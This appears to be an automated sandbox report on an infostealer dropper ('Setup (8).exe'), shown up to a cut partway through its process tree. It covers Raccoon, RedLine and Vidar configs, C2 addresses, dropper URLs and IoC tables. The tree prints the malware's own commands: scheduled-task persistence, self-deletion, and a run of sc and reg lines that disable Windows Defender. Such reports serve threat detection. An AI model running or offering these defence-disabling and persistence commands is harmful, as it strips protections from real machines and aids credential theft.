raccoon | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

Target

Setup (8).exe
Size

631KB
MD5

cb927513ff8ebff4dd52a47f7e42f934
SHA1

0de47c02a8adc4940a6c18621b4e4a619641d029
SHA256

fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
SHA512

988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c

Score

10^/10

raccoon redline vidar 1 bratanchikaye norman2 spnewportspectr discovery evasion infostealer stealer themida trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://kmsauto.us/1/fix.txt

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://ia601409.us.archive.org/7/items/fixmix_fix_4348843584358435/fixmix_fix_4348843584358435.txt

Extracted

Family

redline

Botnet

bratanchikAYE

45.14.49.232:63850

Extracted

Family

redline

Botnet

spnewportspectr

135.148.139.222:1594

Extracted

Family

redline

Botnet

37.0.8.88:44263

Extracted

Family

redline

Botnet

NORMAN2

45.14.49.184:27587

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	9024	6992	rundll32.exe	266

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 37 IoCs

resource	yara_rule
behavioral30/files/0x0002000000015600-134.dat	family_redline
behavioral30/memory/4988-266-0x000000000041C5BE-mapping.dmp	family_redline
behavioral30/memory/744-357-0x000000000041C5CA-mapping.dmp	family_redline
behavioral30/memory/1796-369-0x000000000041C5BE-mapping.dmp	family_redline
behavioral30/memory/1364-360-0x000000000041C5EE-mapping.dmp	family_redline
behavioral30/memory/744-381-0x0000000005490000-0x0000000005A96000-memory.dmp	family_redline
behavioral30/memory/1828-389-0x000000000041C5EE-mapping.dmp	family_redline
behavioral30/memory/512-388-0x000000000041C5CA-mapping.dmp	family_redline
behavioral30/memory/1080-400-0x000000000041C5BE-mapping.dmp	family_redline
behavioral30/memory/1828-410-0x0000000005760000-0x0000000005D66000-memory.dmp	family_redline
behavioral30/memory/576-418-0x000000000041C5EE-mapping.dmp	family_redline
behavioral30/memory/1080-423-0x0000000004DD0000-0x00000000053D6000-memory.dmp	family_redline
behavioral30/memory/4272-427-0x000000000041C5BE-mapping.dmp	family_redline
behavioral30/memory/4352-328-0x000000000041C5EE-mapping.dmp	family_redline
behavioral30/memory/4972-325-0x000000000041C5CA-mapping.dmp	family_redline
behavioral30/memory/4768-293-0x000000000041C5EE-mapping.dmp	family_redline
behavioral30/memory/4768-289-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral30/memory/4592-290-0x000000000041C5CA-mapping.dmp	family_redline
behavioral30/memory/4988-263-0x0000000000400000-0x000000000044A000-memory.dmp	family_redline
behavioral30/memory/2912-262-0x000000000041C5CA-mapping.dmp	family_redline
behavioral30/memory/2912-259-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral30/memory/5204-440-0x000000000041C5EE-mapping.dmp	family_redline
behavioral30/memory/5284-450-0x000000000041C5CA-mapping.dmp	family_redline
behavioral30/memory/5276-449-0x000000000041C5BE-mapping.dmp	family_redline
behavioral30/memory/5368-468-0x000000000041C5EE-mapping.dmp	family_redline
behavioral30/memory/5456-486-0x000000000041C5BE-mapping.dmp	family_redline
behavioral30/memory/5632-513-0x000000000041C5EE-mapping.dmp	family_redline
behavioral30/memory/5480-490-0x000000000041C5CA-mapping.dmp	family_redline
behavioral30/memory/5916-543-0x000000000041C5BE-mapping.dmp	family_redline
behavioral30/memory/5284-475-0x0000000004D10000-0x0000000005316000-memory.dmp	family_redline
behavioral30/files/0x0002000000015600-177.dat	family_redline
behavioral30/memory/5320-569-0x000000000041C5BE-mapping.dmp	family_redline
behavioral30/memory/2976-573-0x000000000041C5EE-mapping.dmp	family_redline
behavioral30/memory/5836-593-0x000000000041C5BE-mapping.dmp	family_redline
behavioral30/memory/6128-603-0x000000000041C5CA-mapping.dmp	family_redline
behavioral30/memory/3496-621-0x000000000041C5BE-mapping.dmp	family_redline
behavioral30/memory/2824-637-0x000000000041C5CA-mapping.dmp	family_redline

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral30/memory/2788-276-0x0000000000880000-0x0000000000953000-memory.dmp	family_vidar
behavioral30/memory/2788-279-0x0000000000400000-0x0000000000593000-memory.dmp	family_vidar

Downloads MZ/PE file

Executes dropped EXE 31 IoCs

pid	Process
2096	kV4aJ04VbXW0xR08DaCGOppt.exe
2504	A3wXbujG9oPfGbM6BL9UtgfC.exe
2576	JHcCts27WgCRtLfxetdS9Wsf.exe
2568	uA0C0m0URmLH95N0gzhHax_5.exe
2792	9uNjSrcuSBRiN_7WMzqwTNAj.exe
2788	4mYOHhbTeq9LeAqOQ_FXsl7m.exe
2844	ICtRpFP2PC3It28pZTKbNEte.exe
2828	qARt3xQTXvXhZ4gMEZ7nAupY.exe
3880	eOJsz7ATyVZsY9J_WGpCWG0a.exe
3304	YX0H8_3WZLb9DF5wcYtXxkB7.exe
3240	yziJ2KrxlOpjtmarW3iacBoG.exe
2368	sJFsJ1irrQ43UgSpF9NxboIY.exe
4064	so_bdt6KonblLwK_kqkkT_py.exe
2372	rME2iDcZzK4M76EbGObAXtjv.exe
1908	e3UtiDCdpqO4I1vqP4WeA7F5.exe
4604	CXFot341dY7wUrbvVE8PI1Qk.exe
4736	FEcbL5YKR_On4Y6KfPABFera.exe
4636	u2Kej1T0RCQhBaoaxiT90hPk.exe
208	RiRRIRwZO3x9UtFL7ASnulws.exe
1976	JXbzb4Qc_teqR7O8aVbThc51.exe
1124	zImN8jelwH66zKx_o_Cb0Vnw.exe
2152	fiAMWJfJ0xZMnwLKUtR5Nqfk.exe
4044	WK9HMn2W_NSjLUxbxV1esLv1.exe
4976	9KW4xABUl4JejFfM6iZ5hrxy.exe
4828	oVjPklbG_TS4G3kvneIiLnow.exe
4824	taskkill.exe
2912	FEcbL5YKR_On4Y6KfPABFera.exe
4988	CXFot341dY7wUrbvVE8PI1Qk.exe
2928	CXFot341dY7wUrbvVE8PI1Qk.exe
4592	FEcbL5YKR_On4Y6KfPABFera.exe
4768	9KW4xABUl4JejFfM6iZ5hrxy.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	9uNjSrcuSBRiN_7WMzqwTNAj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	u2Kej1T0RCQhBaoaxiT90hPk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	u2Kej1T0RCQhBaoaxiT90hPk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	9uNjSrcuSBRiN_7WMzqwTNAj.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	Setup (8).exe

Loads dropped DLL 2 IoCs

pid	Process
4824	taskkill.exe
4824	taskkill.exe

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral30/files/0x000100000001ab6f-164.dat	themida
behavioral30/memory/2792-233-0x0000000000A50000-0x0000000000A51000-memory.dmp	themida
behavioral30/memory/4636-226-0x0000000000D10000-0x0000000000D11000-memory.dmp	themida
behavioral30/files/0x000100000001ab6f-191.dat	themida
behavioral30/files/0x000100000001ab78-178.dat	themida
behavioral30/files/0x000100000001ab78-138.dat	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	u2Kej1T0RCQhBaoaxiT90hPk.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	9uNjSrcuSBRiN_7WMzqwTNAj.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 15 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
497	ipinfo.io
539	freegeoip.app
3622	ipinfo.io
29	ipinfo.io
142	ipinfo.io
519	freegeoip.app
116	ip-api.com
124	ipinfo.io
498	ipinfo.io
524	freegeoip.app
30	ipinfo.io
123	ipinfo.io
147	ipinfo.io
553	freegeoip.app
4274	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2792	9uNjSrcuSBRiN_7WMzqwTNAj.exe
4636	u2Kej1T0RCQhBaoaxiT90hPk.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 4736 set thread context of 2912	4736	FEcbL5YKR_On4Y6KfPABFera.exe	99
PID 4604 set thread context of 4988	4604	CXFot341dY7wUrbvVE8PI1Qk.exe	100
PID 4736 set thread context of 4592	4736	FEcbL5YKR_On4Y6KfPABFera.exe	101
PID 4976 set thread context of 4768	4976	9KW4xABUl4JejFfM6iZ5hrxy.exe	119
PID 4736 set thread context of 4972	4736	FEcbL5YKR_On4Y6KfPABFera.exe	118

Drops file in Program Files directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	eOJsz7ATyVZsY9J_WGpCWG0a.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	eOJsz7ATyVZsY9J_WGpCWG0a.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	eOJsz7ATyVZsY9J_WGpCWG0a.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	eOJsz7ATyVZsY9J_WGpCWG0a.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	ICtRpFP2PC3It28pZTKbNEte.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	ICtRpFP2PC3It28pZTKbNEte.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst001.exe	eOJsz7ATyVZsY9J_WGpCWG0a.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 64 IoCs

pid	pid_target	Process	procid_target
5004	2096	WerFault.exe	87
5500	4064	WerFault.exe	91
5416	2372	WerFault.exe	79
5700	1124	WerFault.exe	53
5620	2096	WerFault.exe	87
5816	2096	WerFault.exe	87
6020	2372	WerFault.exe	79
6060	4064	WerFault.exe	91
2040	2096	WerFault.exe	87
4696	1124	WerFault.exe	147
4568	4064	WerFault.exe	91
4760	2372	WerFault.exe	79
5720	1124	WerFault.exe	147
4264	4064	WerFault.exe	91
2312	2372	WerFault.exe	79
5344	1124	WerFault.exe	147
5980	4044	WerFault.exe	145
1968	4480	WerFault.exe	181
6840	2972	WerFault.exe	196
7004	2372	WerFault.exe	79
7108	4064	WerFault.exe	91
6652	1124	WerFault.exe	147
6860	4064	WerFault.exe	91
6964	4064	WerFault.exe	91
6376	4064	WerFault.exe	91
7160	4044	WerFault.exe	145
4552	1124	WerFault.exe	147
6700	4044	WerFault.exe	145
4572	2096	WerFault.exe	87
6256	1124	WerFault.exe	147
4264	4044	WerFault.exe	145
6816	1124	WerFault.exe	147
6832	2096	WerFault.exe	87
2260	1124	WerFault.exe	147
7320	1124	WerFault.exe	147
7724	1124	WerFault.exe	147
8108	2096	WerFault.exe	87
3868	1124	WerFault.exe	147
7732	1124	WerFault.exe	147
5348	1124	WerFault.exe	147
6472	2096	WerFault.exe	87
2260	2096	WerFault.exe	87
8508	8196	WerFault.exe	334
1160	8712	WerFault.exe	360
2400	2096	WerFault.exe	87
1344	3372	WerFault.exe	370
5200	9172	WerFault.exe	352
8228	9172	WerFault.exe	352
8228	9172	WerFault.exe	352
9456	9172	WerFault.exe	352
10024	9596	WerFault.exe	384
9224	4044	WerFault.exe	145
9388	4044	WerFault.exe	145
5436	9172	WerFault.exe	352
9188	9172	WerFault.exe	352
6744	9172	WerFault.exe	352
11936	11608	WerFault.exe	481
13204	12852	WerFault.exe	536
12692	7900	WerFault.exe	543
15312	14680	WerFault.exe	593
7872	15344	WerFault.exe
11780	13124	WerFault.exe	621
16056	18052	WerFault.exe	684
18928	19172	WerFault.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
6592	schtasks.exe
6580	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
10352	timeout.exe
8672	timeout.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
7676	taskkill.exe
4824	taskkill.exe
8884	taskkill.exe
8564	taskkill.exe
4212	taskkill.exe
7380	taskkill.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	146	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	168	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4224	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4800	Setup (8).exe
4800	Setup (8).exe
1908	e3UtiDCdpqO4I1vqP4WeA7F5.exe
1908	e3UtiDCdpqO4I1vqP4WeA7F5.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1976	JXbzb4Qc_teqR7O8aVbThc51.exe
Token: SeDebugPrivilege	2152	fiAMWJfJ0xZMnwLKUtR5Nqfk.exe
Token: SeDebugPrivilege	1908	e3UtiDCdpqO4I1vqP4WeA7F5.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4824	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4800 wrote to memory of 2368	4800	Setup (8).exe	78
PID 4800 wrote to memory of 2368	4800	Setup (8).exe	78
PID 4800 wrote to memory of 2368	4800	Setup (8).exe	78
PID 4800 wrote to memory of 2504	4800	Setup (8).exe	90
PID 4800 wrote to memory of 2504	4800	Setup (8).exe	90
PID 4800 wrote to memory of 2504	4800	Setup (8).exe	90
PID 4800 wrote to memory of 2372	4800	Setup (8).exe	79
PID 4800 wrote to memory of 2372	4800	Setup (8).exe	79
PID 4800 wrote to memory of 2372	4800	Setup (8).exe	79
PID 4800 wrote to memory of 2576	4800	Setup (8).exe	89
PID 4800 wrote to memory of 2576	4800	Setup (8).exe	89
PID 4800 wrote to memory of 2568	4800	Setup (8).exe	88
PID 4800 wrote to memory of 2568	4800	Setup (8).exe	88
PID 4800 wrote to memory of 2568	4800	Setup (8).exe	88
PID 4800 wrote to memory of 2096	4800	Setup (8).exe	87
PID 4800 wrote to memory of 2096	4800	Setup (8).exe	87
PID 4800 wrote to memory of 2096	4800	Setup (8).exe	87
PID 4800 wrote to memory of 2792	4800	Setup (8).exe	86
PID 4800 wrote to memory of 2792	4800	Setup (8).exe	86
PID 4800 wrote to memory of 2792	4800	Setup (8).exe	86
PID 4800 wrote to memory of 2788	4800	Setup (8).exe	85
PID 4800 wrote to memory of 2788	4800	Setup (8).exe	85
PID 4800 wrote to memory of 2788	4800	Setup (8).exe	85
PID 4800 wrote to memory of 2828	4800	Setup (8).exe	84
PID 4800 wrote to memory of 2828	4800	Setup (8).exe	84
PID 4800 wrote to memory of 2844	4800	Setup (8).exe	83
PID 4800 wrote to memory of 2844	4800	Setup (8).exe	83
PID 4800 wrote to memory of 2844	4800	Setup (8).exe	83
PID 4800 wrote to memory of 3240	4800	Setup (8).exe	82
PID 4800 wrote to memory of 3240	4800	Setup (8).exe	82
PID 4800 wrote to memory of 3240	4800	Setup (8).exe	82
PID 4800 wrote to memory of 3304	4800	Setup (8).exe	81
PID 4800 wrote to memory of 3304	4800	Setup (8).exe	81
PID 4800 wrote to memory of 3304	4800	Setup (8).exe	81
PID 4800 wrote to memory of 3880	4800	Setup (8).exe	80
PID 4800 wrote to memory of 3880	4800	Setup (8).exe	80
PID 4800 wrote to memory of 3880	4800	Setup (8).exe	80
PID 4800 wrote to memory of 4064	4800	Setup (8).exe	91
PID 4800 wrote to memory of 4064	4800	Setup (8).exe	91
PID 4800 wrote to memory of 4064	4800	Setup (8).exe	91
PID 4800 wrote to memory of 1908	4800	Setup (8).exe	92
PID 4800 wrote to memory of 1908	4800	Setup (8).exe	92
PID 4800 wrote to memory of 1908	4800	Setup (8).exe	92
PID 4800 wrote to memory of 4604	4800	Setup (8).exe	173
PID 4800 wrote to memory of 4604	4800	Setup (8).exe	173
PID 4800 wrote to memory of 4604	4800	Setup (8).exe	173
PID 4800 wrote to memory of 4736	4800	Setup (8).exe	172
PID 4800 wrote to memory of 4736	4800	Setup (8).exe	172
PID 4800 wrote to memory of 4736	4800	Setup (8).exe	172
PID 4800 wrote to memory of 4636	4800	Setup (8).exe	159
PID 4800 wrote to memory of 4636	4800	Setup (8).exe	159
PID 4800 wrote to memory of 4636	4800	Setup (8).exe	159
PID 4800 wrote to memory of 208	4800	Setup (8).exe	155
PID 4800 wrote to memory of 208	4800	Setup (8).exe	155
PID 4800 wrote to memory of 208	4800	Setup (8).exe	155
PID 4800 wrote to memory of 1976	4800	Setup (8).exe	149
PID 4800 wrote to memory of 1976	4800	Setup (8).exe	149
PID 4800 wrote to memory of 1124	4800	Setup (8).exe	147
PID 4800 wrote to memory of 1124	4800	Setup (8).exe	147
PID 4800 wrote to memory of 1124	4800	Setup (8).exe	147
PID 4800 wrote to memory of 2152	4800	Setup (8).exe	146
PID 4800 wrote to memory of 2152	4800	Setup (8).exe	146
PID 4800 wrote to memory of 4044	4800	Setup (8).exe	145
PID 4800 wrote to memory of 4044	4800	Setup (8).exe	145

C:\Users\Admin\AppData\Local\Temp\Setup (8).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (8).exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Users\Admin\Documents\sJFsJ1irrQ43UgSpF9NxboIY.exe
  "C:\Users\Admin\Documents\sJFsJ1irrQ43UgSpF9NxboIY.exe"
  2⤵
  - Executes dropped EXE
  PID:2368
- - C:\Users\Admin\Documents\sJFsJ1irrQ43UgSpF9NxboIY.exe
    "C:\Users\Admin\Documents\sJFsJ1irrQ43UgSpF9NxboIY.exe"
    3⤵
    PID:5876
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im sJFsJ1irrQ43UgSpF9NxboIY.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\sJFsJ1irrQ43UgSpF9NxboIY.exe" & del C:\ProgramData\*.dll & exit
      4⤵
      PID:8920
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im sJFsJ1irrQ43UgSpF9NxboIY.exe /f
        5⤵
        Kills process with taskkill
        
        PID:8884
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        5⤵
        Delays execution with timeout.exe
        
        PID:8672
- C:\Users\Admin\Documents\rME2iDcZzK4M76EbGObAXtjv.exe
  "C:\Users\Admin\Documents\rME2iDcZzK4M76EbGObAXtjv.exe"
  2⤵
  - Executes dropped EXE
  PID:2372
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 660
    3⤵
    - Program crash
    PID:5416
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 648
    3⤵
    - Program crash
    PID:6020
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 680
    3⤵
    - Program crash
    PID:4760
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 720
    3⤵
    - Program crash
    PID:2312
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 892
    3⤵
    - Program crash
    PID:7004
- C:\Users\Admin\Documents\eOJsz7ATyVZsY9J_WGpCWG0a.exe
  "C:\Users\Admin\Documents\eOJsz7ATyVZsY9J_WGpCWG0a.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:3880
- - C:\Program Files (x86)\Company\NewProduct\inst001.exe
    "C:\Program Files (x86)\Company\NewProduct\inst001.exe"
    3⤵
    PID:5724
- - C:\Program Files (x86)\Company\NewProduct\cutm3.exe
    "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
    3⤵
    PID:5800
- - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
    3⤵
    PID:5868
- C:\Users\Admin\Documents\YX0H8_3WZLb9DF5wcYtXxkB7.exe
  "C:\Users\Admin\Documents\YX0H8_3WZLb9DF5wcYtXxkB7.exe"
  2⤵
  - Executes dropped EXE
  PID:3304
- C:\Users\Admin\Documents\yziJ2KrxlOpjtmarW3iacBoG.exe
  "C:\Users\Admin\Documents\yziJ2KrxlOpjtmarW3iacBoG.exe"
  2⤵
  - Executes dropped EXE
  PID:3240
- - C:\Users\Admin\Documents\yziJ2KrxlOpjtmarW3iacBoG.exe
    "C:\Users\Admin\Documents\yziJ2KrxlOpjtmarW3iacBoG.exe" -u
    3⤵
    PID:6108
- C:\Users\Admin\Documents\ICtRpFP2PC3It28pZTKbNEte.exe
  "C:\Users\Admin\Documents\ICtRpFP2PC3It28pZTKbNEte.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:2844
- - C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe
    "C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"
    3⤵
    PID:6208
  - - C:\Users\Admin\Documents\7CZ6d32Gjf4vfttRdCJlhN4j.exe
      "C:\Users\Admin\Documents\7CZ6d32Gjf4vfttRdCJlhN4j.exe"
      4⤵
      PID:9092
    - - C:\Users\Admin\AppData\Roaming\8625888.exe
        
        "C:\Users\Admin\AppData\Roaming\8625888.exe"
        5⤵
        
        PID:10156
    - - C:\Users\Admin\AppData\Roaming\3567064.exe
        
        "C:\Users\Admin\AppData\Roaming\3567064.exe"
        5⤵
        
        PID:9488
    - - C:\Users\Admin\AppData\Roaming\8277914.exe
        
        "C:\Users\Admin\AppData\Roaming\8277914.exe"
        5⤵
        
        PID:9392
    - - C:\Users\Admin\AppData\Roaming\3540648.exe
        
        "C:\Users\Admin\AppData\Roaming\3540648.exe"
        5⤵
        
        PID:8040
    - - C:\Users\Admin\AppData\Roaming\5241905.exe
        
        "C:\Users\Admin\AppData\Roaming\5241905.exe"
        5⤵
        
        PID:9648
  - - C:\Users\Admin\Documents\0dzfd0EseQddPtkQpSzgEZef.exe
      "C:\Users\Admin\Documents\0dzfd0EseQddPtkQpSzgEZef.exe"
      4⤵
      PID:9172
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9172 -s 384
        5⤵
        Program crash
        
        PID:5200
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9172 -s 364
        5⤵
        Program crash
        
        PID:8228
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9172 -s 400
        5⤵
        Program crash
        
        PID:8228
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9172 -s 512
        5⤵
        Program crash
        
        PID:9456
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9172 -s 672
        5⤵
        Program crash
        
        PID:5436
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9172 -s 676
        5⤵
        Program crash
        
        PID:9188
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9172 -s 704
        5⤵
        Program crash
        
        PID:6744
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9172 -s 824
        5⤵
        
        PID:18612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:6592
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:6580
- C:\Users\Admin\Documents\qARt3xQTXvXhZ4gMEZ7nAupY.exe
  "C:\Users\Admin\Documents\qARt3xQTXvXhZ4gMEZ7nAupY.exe"
  2⤵
  - Executes dropped EXE
  PID:2828
- - C:\Users\Admin\AppData\Local\Temp\pzsapKGY.com
    "C:\Users\Admin\AppData\Local\Temp\pzsapKGY.com"
    3⤵
    PID:8
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\F336.tmp\F337.tmp\F338.bat C:\Users\Admin\AppData\Local\Temp\pzsapKGY.com"
      4⤵
      PID:1160
    - - C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        5⤵
        
        PID:4640
    - - C:\Windows\system32\sc.exe
        
        sc config SecurityHealthService start=disabled
        5⤵
        
        PID:4884
    - - C:\Windows\system32\sc.exe
        
        sc config Sense start=disabled
        5⤵
        
        PID:4264
    - - C:\Windows\system32\sc.exe
        
        sc config WdNisDrv start=disabled
        5⤵
        
        PID:5108
    - - C:\Windows\system32\sc.exe
        
        sc config WdNisSvc start=disabled
        5⤵
        
        PID:5980
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:3836
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6376
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
        5⤵
        
        PID:2188
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6496
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:6852
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6240
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:5132
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6864
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6964
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6704
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6568
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6940
    - - C:\Windows\system32\reg.exe
        
